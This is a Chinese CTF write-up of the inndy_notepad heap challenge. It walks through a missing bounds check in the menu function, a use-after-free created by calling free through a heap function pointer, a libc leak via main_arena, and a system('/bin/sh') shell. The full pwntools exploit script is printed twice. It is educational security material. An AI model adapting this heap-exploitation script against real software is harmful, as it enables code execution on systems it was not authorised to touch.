对于堆的恐惧来自堆复杂的管理机制(unsorted,fastbin,small,large bin看着都头大),相较于栈(压入弹出)来说复杂太多了,再加上使用GDB调试学习堆时,每次堆分配时,调试起来相当的麻烦,所以一直都是理论学习,堆不敢碰不敢尝试。

尝试了一下堆,熟悉了堆的分配机制。

题目分析

基本信息分析

查看文件类型,32位,没有去掉符号( not stripped,很开心,省去了猜函数的“乐趣”)

file notepad notepad: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2,

for GNU/Linux 2.6.32,
BuildID[sha1]=65aa4834fcd253be2490ea1dc24a0c582f0cbb6f, not stripped

查看保护机制,一些直观的映像见下面注释

# checksec notepadArch:     i386-32-littleRELRO:    Partial RELRO # 可写gotStack:    Canary found #如果要栈溢出,需要考虑canary的问题NX:       NX enabled #不可以在栈上,bss段上布局shellcode,因为不可执行PIE:      No PIE (0x8048000) # 很开心,本程序每次加载的地址都是固定的

拖入IDA,查看字符串(shift+f12),没有system,没有/bin/sh(难受,需要泄露libc地址)。

至此,一些最直观、最简单的分析完毕。我们可以得到以下信息:

本程序是32位程序,每次加载时地址固定,如果存在栈溢出,需要考虑canary check的问题,并且溢出之后不能在数据区(栈、bss段)布局shellcode,因为数据区不可执行,所以需要通过ROP实现我们的意图。同时,程序本身不存在system和/bin/sh,需要通过泄露libc的地址来获取我们需要的libc中的函数(如system)。

功能分析&找茬

好了,下面开始找茬吧

主函数
包含循环,从函数名看是一个菜单显示加功能选择。有四个函数

menu:int __cdecl menu(int a1){int result; // eaxint i; // [esp+8h] [ebp-10h]int v3; // [esp+Ch] [ebp-Ch]for ( i = 0; *(4 * i + a1); ++i )printf("%c> %s\n", i + 97, *(4 * i + a1));printf("::> ");v3 = getchar() - 'a';freeline();if ( v3 < i ) # 没有检查下界???此时一定要标记出来这个函数有问题,不然后面就忘了 --!result = v3 + 1;elseresult = 0;return result;}
bash:unsigned int bash(){char s; // [esp+Ch] [ebp-8Ch] #128没毛病unsigned int v2; // [esp+8Ch] [ebp-Ch]v2 = __readgsdword(0x14u);printf("inndy ~$ ");fgets(&s, 128, stdin);rstrip(&s); #替换一些特殊字符,没毛病printf("bash: %s: command not found\n", &s);return __readgsdword(0x14u) ^ v2;}
cmd:unsigned int cmd(){char s; // [esp+Ch] [ebp-8Ch] #128没毛病unsigned int v2; // [esp+8Ch] [ebp-Ch]v2 = __readgsdword(0x14u);puts("Microhard Wind0ws [Version 3.1.3370]");puts("(c) 2016 Microhard C0rporat10n. A11 rights throwed away.");puts(&byte_8049371);printf("C:\\Users\\Inndy>");fgets(&s, 128, stdin);rstrip(&s);printf("'%s' is not recognized as an internal or external command\n", &s);return __readgsdword(0x14u) ^ v2;}
notepad:主要的功能函数,下面分析

menu函数中,我们可以控制menu函数的返回值!看似可疑的两个函数cmd和bash貌似没毛病,往后看。

进入notepad函数:

包含6个函数:

menu函数负责显示菜单,并且根据输入选择执行功能。前面提到,这个函数可以输出一个负数,但是貌似在这没有什么用!跳过
notepad_new见下面
notepad_open见下面
notepad_delete见下面
notepad_rdonly用于分析note struct字段
notepad_keepsec用于分析note struct字段

notepad_new


大致通过注释解释了一下分析过程,后面不再进行详细的分析。这里需要留意的地方是:这里的函数(notepad_show,notepad_destory)指针放在了堆上,如果我们能够溢出覆盖到这两个函数指针,岂不是就可以控制EIP执行我们想要执行的流程了吗?(初步感觉,实际上并不是溢出,只是分析时存在利用的可能性)可以看出通过size控制输入的长度,但并不存在溢出的机会。接着看下面
【网络安全学习攻略·资料】

notepad_open:

在这里使用了menu函数。还记得前面我们分析的结构,我们可以控制这个函数的输出吗?控制了这个值后,我们就间接控制了上图menu函数下面的这个函数指针(*(&v3->p_func_show + v0 - 1))(v3);这个函数的参数是这个块的首地址(不受控制)。所以这里我们可以分析得出:

  1. 如果我们能够通过控制v0控制函数指针指向我们想要执行的函数就完成了第一步,例如变成system
  2. 第二步,如果我们能控制v3处的内容就好了,例如变成’/bin/sh’,怎么实现呢?貌似没有什么思路,接着看吧!

notepad_delete:

这个函数中通过id释放了相应的note,并且清空了相应的指针,堵住了UAF的路。

等等!!UAF,我们不是能够控制一个函数指针吗?参数正好是分配的堆块地址!我们可以控制这个函数指针为free,释放掉当前块,并且没有清空指针的操作!一个野指针就这么诞生了,UAF!

至此,一个邪恶的计划产生了!

一个邪恶的计划

  1. 生成两个大小相同的堆块A和B(这两个堆块相邻哦);对于A,我们填充其内容,使其包含free函数的地址;对于B,我们使用menu的返回值(负数),控制函数指针指向A内容中的free函数地址,这样我们可以控制函数指针指向free(此时参数是B的首地址),这样通过操作B就可以free掉B自己。重要的是,虽然此时B已经被free掉了,但是因为我们还控制着指向B的指针,所以我们还能操控B,这很重要(use
    after free)。
  2. B现在被free掉了,躺在unsortedbin中,但是这有什么用呢?如果我们能让A覆盖到B就好了。可以吗?可以的!!这里用到了堆分配中的一个知识点:当相同大小的堆块释放时,会被放入同一个类型bin上。所以,此时如果我们free掉A,那么他们就同时躺在unsortedbin中了(此时他们会被合并!另一个知识点)。此时,我们使用一个大于堆A,小于A+B的大小,malloc一个块,此时返回的地址就是A的地址(称为A’),但是范围却覆盖到了B。至此我们就能控制B的内容了,比如通过重新分配出来的A’,覆盖B的首地址位置,输入’/bin/sh’。
  3. 但是,现在我们还差个system函数啊?libc的地址还没有获取到呢?另一个堆的知识点(真多,麻木!)linux使用free进行内存释放时,不大于64B的块会先放入fastbin,大于64的块会放入unsortedbin。如果fastbin为空时,unsortedbin中第一个块的fd和bk指针指向自身的main_arena中。而main_arena在libc中,利用这个点,我们可以泄露libc的地址。怎么弄呢?在第一步中,如果我们的B的size大于64(本例中0x60),那么在free时,就会直接被放入unsortedbin,此时fastbin中没有数据,那么B的数据区的前两个DWORD就是fd和bk,指向libc中的main_arena+48(针对本例chunk大小ox60)的位置。而main_arena在libc中是固定偏移的,我们用IDA打开libc,找到malloc_trim函数,如下图高亮位置就是偏移量,本例中是0x1b3780。至此我们可以获得libc的地址,通过偏移,我们可以找到system的地址。
    【网络安全学习攻略·资料】

    终于,我们邪恶艰难的计划有了雏形。

exploit

下面就是执行了

首先,套路

#!/usr/bin/python
#coding:utf-8
from pwn import *
from LibcSearcher import *context(arch="amd64", os="linux")
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
#
#--------------------
# 连接选项
#--------------------
is_local = 1
local_path = './notepad'
addr = 'node4.buuoj.cn'
port = 25207
if is_local:io = process(local_path)
else:io = remote(addr,port)#--------------------
# 调试选项
#--------------------def debug(cmd):gdb.attach(io, cmd)# pause()#--------------------
# 常用函数
#--------------------
se      = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ra      = lambda                    :io.recvall()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
info    = lambda tag, addr          :log.info(tag + " -> " + hex(addr))
ia      = lambda                    :io.interactive()
halt    = lambda                    :io.close()elf=ELF(local_path)
libc = ELF('./libc.so')
p_free_plt=elf.plt['free']
p_puts_plt=elf.plt['puts']
p_=elf.symbols['main']def notepad_new(size, data):sla(b'::>', b'a')sla(b'size >', str(size).encode('utf-8'))sla(b'data >', data)# sleep(0.1)def notepad_open(id, offset):sla(b'::>', b'b')sla(b'id >', str(id).encode('utf-8'))sla(b'(Y/n)', b'n')sla(b'::>', chr(ord('a')+offset))return ru(b'note closed')def notepad_edit(id, offset, content): # 与上面一个open函数的区别是这里可以编辑内容sla(b'::>', b'b')sla(b'id >', str(id).encode('utf-8'))sla(b'(Y/n)', b'y')sla(b'content >', content)ru(b'note saved')sla(b'::>', chr(ord('a')+offset))ru(b'note closed')def notepad_delete(id):sla(b'::>', b'c')sla(b'id >', str(id).encode('utf-8'))

首先分配4个块。等等!!前面不是说两个块,一个A,一个B吗?这里堆的另一个知识点,为了提高内存的利用率,堆在释放时,会检查他的上一个块,如果这个块是TOP chunk的话,就会与其进行合并(这样我们的块就丢了,再分配时会从TOP chunk上切一块给你,不受控制),所以为了保证我们的块不被不受控制的合并,我们在A和B的上下添加了一个块(0和3),如下:

notepad_new(0x60, b'aaaa') #0
notepad_new(0x60, b'aaaa') #1 or A
notepad_new(0x60, b'aaaa') #2 or B
notepad_new(0x60, b'aaaa') #3

其中,参数0x60是note内容的大小,是为了保证堆块在释放时能被放入unsorted bin。

然后,我们填充A,使得其内容包含free函数指针;控制B中的指针(利用menu没有检查返回值的下界的问题)【网络安全学习攻略·资料】

notepad_edit(1, 0, b'b'*(0x60-4) + p32(p_free_plt)) # 编辑A的内容包含free的指针,指针放在A的最后四个字节
#根据menu函数中下界没有检查的问题,将eip指向B(notepad_show函数的位置)前3个dword(从后往前数,前两个dword是堆块的头,第三个块是前一个块的数据)的位置,也就是前一个块的最后四个字节(free函数的地址)
#此时free函数的地址是当前块的首地址,因此下面这个操作的目的是释放当前块
notepad_open(2, -3) # free 2


如上图所示,A块起始位置0x9579078,,B块起始位置0x95790f0。块首的两个dword(4bytes)为堆块的头部。我们的free函数地址填充到了0x95790ec,此时我们可控的函数指针位置在0x95790f8,中间相差3个dword(因此然后menu返回-3,就可以调用到我们放入的指针),至此我们可以控制free函数,释放0x95790f0位置的块B(在unsortedbin中fb和bk为main_arena+48)。


此时,我们再通过程序提供的函数释放掉A

notepad_delete(1) # free 1 A

如下图,我们发现出现了A和B的合并,那个size=0xf1的块就是

  1. 此时我们再将A
    malloc出来,填充数据,内容包含puts的函数指针,大小为0xf1的哪个就是了,我们称为A’,现在A’中包含了puts的地址。【网络安全学习攻略·资料】

为什么两个size=0x60释放后是size=0xf1.

首先由于在unsorted bin 中,两个块进行了合并,0x60 + 0x60 = 0xC0
由于每个chunk都会包含一个头部,本例中头部为0x10 2,则0xC0+0x102 = 0xF0
由于该块的前一个块(0x9579000)处于使用状态,所以该块的PREV_INUSE是1,所以0xF0 + 0x1 = 0xF1
同理可解释其他块

notepad_new(0xf1-0x10 - 0x8, b'b'*(0x60 -4 + 4) + p32(p_puts_plt) + b'b'*2) # alloc 1+2

pre_size字段,如果上一个块处于释放状态,用于表示其大小,否则上一个块处于使用状态时,pre_size为上一个块的一部分,用于保存上一个块的数据。可以通过观察0x9579168地址处验证

  1. 可以看到B块在unsortedbin中走了一遭后,0x95790f0+8位置变为了0xf7f747b0(main_arena+48)。再次强调B块的指针我们是知道的!此时,我们通过控制的指针指向puts函数打印B起始地址的内容,就可以得到main_arena+48的地址,结合main_arena在libc中的偏移(前文提到,高亮的哪个)就可以计算出libc的地址,从而获得system的地址。
notepad_new(0xf1-0x10 - 0x8, b'b'*(0x60 -4 + 4) + p32(p_puts_plt) + b'b'*2) # alloc 1+2main_area_addr = notepad_open(2, -2)[1:5]
main_area_addr = u32(main_area_addr) - 48
print(hex(main_area_addr))libc_base = main_area_addr - 0x1B3780 # 从libc文件中的malloc_trim函数第4行获取
p_system = libc_base + libc.symbols['system']

最后,我们要写入/bin/sh到B起始的位置。相同的原理,通过A‘写入数据,内包含system地址和/bin/sh

notepad_edit(1, 0, b'b'*(0x60-4 + 4) + p32(p_system) + b'b'*4  + b'/bin/sh')


现在,再次调用noteopen(2, -2),此时,我们的函数指针-2位置为我们填入的system函数,B块的起始位置,放入了/bin/sh,完美!!
【网络安全学习攻略·资料】

sla(b'::>', b'b')
sla(b'id >', str(2).encode('utf-8'))
# sla(b'(Y/n)', b'n')
sla(b'::>', chr(ord('a')-2))# ra()
ia()


完整exp奉上

#!/usr/bin/python
#coding:utf-8
from pwn import *
from LibcSearcher import *context(arch="amd64", os="linux")
context.log_level = 'debug'
context.terminal = ['terminator','-x','sh','-c']
##--------------------
# 连接选项
#--------------------
is_local = 1
local_path = './notepad'
addr = 'node4.buuoj.cn'
port = 25207
if is_local:io = process(local_path)
else:io = remote(addr,port)#--------------------
# 调试选项
#--------------------def debug(cmd):gdb.attach(io, cmd)# pause()#--------------------
# 常用函数
#--------------------
se      = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num                :io.recv(num)
rl      = lambda                    :io.recvline()
ra      = lambda                    :io.recvall()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
info    = lambda tag, addr          :log.info(tag + " -> " + hex(addr))
ia      = lambda                    :io.interactive()
halt    = lambda                    :io.close()elf=ELF(local_path)
libc = ELF('./libc.so')
p_free_plt=elf.plt['free']
p_puts_plt=elf.plt['puts']
p_=elf.symbols['main']def notepad_new(size, data):sla(b'::>', b'a')sla(b'size >', str(size).encode('utf-8'))sla(b'data >', data)# sleep(0.1)def notepad_open(id, offset):sla(b'::>', b'b')sla(b'id >', str(id).encode('utf-8'))sla(b'(Y/n)', b'n')sla(b'::>', chr(ord('a')+offset))return ru(b'note closed')def notepad_edit(id, offset, content):sla(b'::>', b'b')sla(b'id >', str(id).encode('utf-8'))sla(b'(Y/n)', b'y')sla(b'content >', content)ru(b'note saved')sla(b'::>', chr(ord('a')+offset))ru(b'note closed')def notepad_delete(id):sla(b'::>', b'c')sla(b'id >', str(id).encode('utf-8')) sla(b'::>', b'c')
debug_cmd = '''b *0x08048CE8c'''
# open 8048E46
# call eax 08048CE8
# 08048CBFnotepad_new(0x60, b'aaaa')
notepad_new(0x60, b'aaaa')
notepad_new(0x60, b'aaaa')
notepad_new(0x60, b'aaaa')
#
notepad_edit(1, 0, b'b'*(0x60-4) + p32(p_free_plt))
#根据menu函数中下界没有检查的问题,将eip指向notepadshow函数前3个dword的位置,也就是前一个块的最后四个字节(free函数的地址)
#此时free函数的地址是当前块的首地址,因此下面这个操作的目的是释放当前块
# debug(debug_cmd)
notepad_open(2, -3) # free 2notepad_delete(1) # free 1notepad_new(0xf1-0x10 - 0x8, b'b'*(0x60 -4 + 4) + p32(p_puts_plt) + b'b'*2) # alloc 1+2main_area_addr = notepad_open(2, -2)[1:5]
main_area_addr = u32(main_area_addr) - 48
print(hex(main_area_addr))libc_base = main_area_addr - 0x1B3780 # 从libc文件中的malloc_trim函数第4行获取
p_system = libc_base + libc.symbols['system']# notepad_delete(1)# notepad_new(0x60, b'aaaa')
# notepad_new(0x60, b'bbbb')notepad_edit(1, 0, b'b'*(0x60-4 + 4) + p32(p_system) + b'b'*4 +  b'/bin/sh')
# debug(debug_cmd)
# notepad_open(2, -2)
sla(b'::>', b'b')
sla(b'id >', str(2).encode('utf-8'))
# sla(b'(Y/n)', b'n')
sla(b'::>', chr(ord('a')-2))# ra()
ia()

因为我这里用的是自己机器中的libc,所以可能有些差异,但大体上是一样的,libc信息如下。

# ldd notepadlinux-gate.so.1 =>  (0xf7f29000)libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d54000)/lib/ld-linux.so.2 (0xf7f2b000)

总结

总的来说,这道题没有用到溢出的知识,但是对于堆的分配、回收(合并)等知识点进行了考察,对我来说,熟悉了堆在GDB调试下的熟练度,克服了一直以来对堆的恐惧,也是一大收获。参考文献


但是在学习的过程中依然存在很多问题,很多知识点还是有些模糊,留给后面继续深入吧。

关注私我,获取**【网络安全学习攻略·资料】**

【网络安全】一个堆题inndy_notepad的练习笔记相关推荐

  1. 2022年全国中职组网络安全国赛赛题思路(仅自己一个做题的思路)——网络安全竞赛试题(7)

    有word文档,要的私信我 仅仅一个做题思路 模块A 基础设施设置与安全加固 A-1任务一:登录安全加固 Linux) a.设置最短密码长度为15: b.一分钟内仅允许4次登录失败,超过4次,登录帐号 ...

  2. 信安精品课:第4章网络安全体系与网络安全模型精讲笔记

    第4章网络安全体系与网络安全模型精讲笔记 一.本章知识框架 二.本章大纲要求 4.1 网络安全体系概述 •网络安全体系概念 •网络安全体系特征 •网络安全体系用途 4.2 网络安全体系相关安全模型 • ...

  3. 解决了一个堆破坏问题

    解决了一个堆破坏问题 参考文章: (1)解决了一个堆破坏问题 (2)https://www.cnblogs.com/mavaL/archive/2012/12/30/2839968.html 备忘一下 ...

  4. 计算机网络的概述发展填空题,计算机网络安全概述填空题.doc

    计算机网络安全概述填空题 填空题: 1.网络系统的 是指保证网络系统不因各种因素的影响而中断正常工作. 2.数据的 是指在保证软件和数据完整性的同时,还要能使其被正常利用和操作. 3.网络威胁主要来自 ...

  5. onenote冲突服务器显示,ONENOTE同步分区失败,显示“正在等待另一个设备完成上载您的笔记”?...

    ONENOTE同步分区失败,显示"正在等待另一个设备完成上载您的笔记"? 一直在用OneNote,不过之前都没在意分区问题,就是一直添加页面放很多东西进去. 问题从昨晚开始出现的. ...

  6. C1模拟试卷的一个算法题

    C1模拟试卷的一个算法题 题目: 使用Math生成一个随机数,这个随机数需要在0到500之间. 然后,在网页中打印出来从10到这个随机数的回文数. 代码实现: <!DOCTYPE html> ...

  7. 【木头Cocos2d-x 021】一个堆和栈引起的分手事件

    [木头 cocos2d-x]一个堆和栈引起的分手事件 --内存总是欺负我,于是我移情别恋爱上CCString了 我又来了,这次这篇文章依旧是献给和我一样被Java惯坏了,对C++还不太熟悉的朋友~ 所 ...

  8. acwing 838. 堆排序 (手写一个堆)

    如何手写一个堆? 插入一个数 求集合中最小值 删除最小值 删除任意一个元素 修改任意一个元素 [注]: 后面两个是stl 无法直接实现的, stl 的堆就是优先队列 堆 堆是一个完全二叉树(最后一层节 ...

  9. 大根堆与小根堆的理解,如何手写一个堆,以及什么时候用自己手写的堆,什么时候用语言提供堆的api,(二者的区别)

    大根堆与小根堆的理解,如何手写一个堆,以及什么时候用自己手写的堆,什么时候用语言提供堆的api,(二者的区别) 定义 Heap是一种数据结构具有以下的特点: 1)完全二叉树: 2)heap中存储的值是 ...

最新文章

  1. jQuery-层次选择器的学习
  2. ubuntu怎么打中文_记录一下我在笔记本上安装ubuntu+win10系统的过程,仅供参考
  3. 工作中收集JSCRIPT代码之(下拉框篇)
  4. 自动化办公之excel教程(1):工作薄,工作表,单元格基本操作
  5. OpenCV亮度和对比度调整的实例(附完整代码)
  6. 5行代码可实现5倍Scikit-Learn参数调整的更快速度
  7. 一朵云重50万公斤,为什么掉不下来?
  8. 【算法分析与设计】计数排序
  9. MySQL越高版本越快吗_MySQL性能优化的最佳20+条经验
  10. 【Java并发性和多线程】如何创建并运行java线程
  11. 《四 spring源码》spring的事务注解@Transactional 原理分析
  12. java 清除所有 Session
  13. C#从入门到精通之第一篇: C#概述与入门
  14. 时间服务器端口协议,ntp时间服务器
  15. Xiaojie雷达之路---脉冲压缩
  16. Android Design与Holo Theme详解
  17. 成功GET一款高大上又不显俗的Linux时间锁屏软件-GLUQLO
  18. Mac 有线网络或WiFi网络共享成WiFiwifi的方法
  19. 铁矿石怒砸跌停,棕榈油认沽最高45倍,钢厂利润大幅回升2022.6.20
  20. Windows安装VirtualBox教程(图文版)

热门文章

  1. 成功解决torch.cuda.CudaError: CUDA driver version is insufficient for CUDA runtime version (35) [ WARN:0
  2. 成功解决The scripts freeze_graph.exe, saved_model_cli.exe, tensorboard.exe, tflite_convert.exe, toco.exe
  3. 成功解决win10下dos中运行tensorboard --logdir=logs和调用events.out.tfevents一闪而过的问题
  4. Hyperopt官方中文文档导读
  5. Excel批量转csv格式
  6. 关于SCI的那些事儿
  7. 学写网站(一)前端配置之安装nvm、node、npm
  8. iOS 提交审核注意事项
  9. 自然语言处理在医学领域的应用
  10. python 函数性能分析